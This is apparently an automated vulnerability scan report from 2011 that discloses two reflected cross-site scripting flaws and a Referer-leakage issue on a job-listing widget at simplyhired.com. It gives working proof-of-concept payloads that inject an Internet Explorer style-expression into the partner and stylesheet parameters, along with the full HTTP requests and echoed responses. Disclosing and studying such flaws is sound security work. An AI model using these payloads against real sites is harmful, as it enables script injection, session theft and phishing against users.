XSS, Cross Site Scripting, www.simplyhired.com, CWE-79, CAPEC_86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 07:59:17 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.


XSS.CX Home XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5 [partner parameter]

1.2. http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5 [stylesheet parameter]

2. Cross-domain Referer leakage



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5 [partner parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.simplyhired.com
Path:   /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5

Issue detail

The value of the partner request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22e70"style%3d"x%3aexpression(alert(1))"bb3039f1ea3 was submitted in the partner parameter. This input was echoed as 22e70"style="x:expression(alert(1))"bb3039f1ea3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5?partner=computerworld22e70"style%3d"x%3aexpression(alert(1))"bb3039f1ea3&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-article.css%3F20100409&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/s/article/9214378/Google_patches_Pwn2Own_WebKit_bug_in_Chrome
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Mar 2011 01:33:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 9223

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<body id="sh_job_widget" class="computerworld22e70"style="x:expression(alert(1))"bb3039f1ea3">
...[SNIP]...

1.2. http://www.simplyhired.com/a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5 [stylesheet parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.simplyhired.com
Path:   /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5

Issue detail

The value of the stylesheet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13d74"style%3d"x%3aexpression(alert(1))"4949b4040e8 was submitted in the stylesheet parameter. This input was echoed as 13d74"style="x:expression(alert(1))"4949b4040e8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5?partner=computerworld&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-article.css%3F2010040913d74"style%3d"x%3aexpression(alert(1))"4949b4040e8&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/s/article/9214378/Google_patches_Pwn2Own_WebKit_bug_in_Chrome
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Mar 2011 01:33:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 8452

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://www.computerworld.com/resources/simply-hired-article.css?2010040913d74"style="x:expression(alert(1))"4949b4040e8" />
...[SNIP]...

2. Cross-domain Referer leakage  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.simplyhired.com
Path:   /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /a/job-widget/list/q-onet%3A(15-1*)%20OR%20onet%3A(17-2*)%20OR%20onet%3A(11-3*)%20OR%20technology%20OR%20%C2%93data%20architect%C2%94%20OR%20%C2%93software%20engineer%C2%94%20OR%20%C2%93computer%20technician%C2%94%20OR%20%C2%93cto%C2%94/l-%20/ws-5?partner=computerworld&stylesheet=http%3A%2F%2Fwww.computerworld.com%2Fresources%2Fsimply-hired-article.css%3F20100409&color_title=%231752A3&color_location=%239c9c9c&color_company=%23656565&header= HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/s/article/9214378/Google_patches_Pwn2Own_WebKit_bug_in_Chrome
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Mar 2011 01:32:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Via: Simply Cache
Content-Length: 8375

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<h
...[SNIP]...
</style>
<link rel="stylesheet" type="text/css" href="http://www.computerworld.com/resources/simply-hired-article.css?20100409" />
</head>
...[SNIP]...
<!-- Start Quantcast tag -->
<img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
<!-- End Quantcast tag -->
...[SNIP]...
<!-- Begin comScore Tag -->
<img src="http://b.scorecardresearch.com/b?c1=2&c2=6034750&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
<!-- End comScore Tag -->
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 07:59:17 CDT 2011.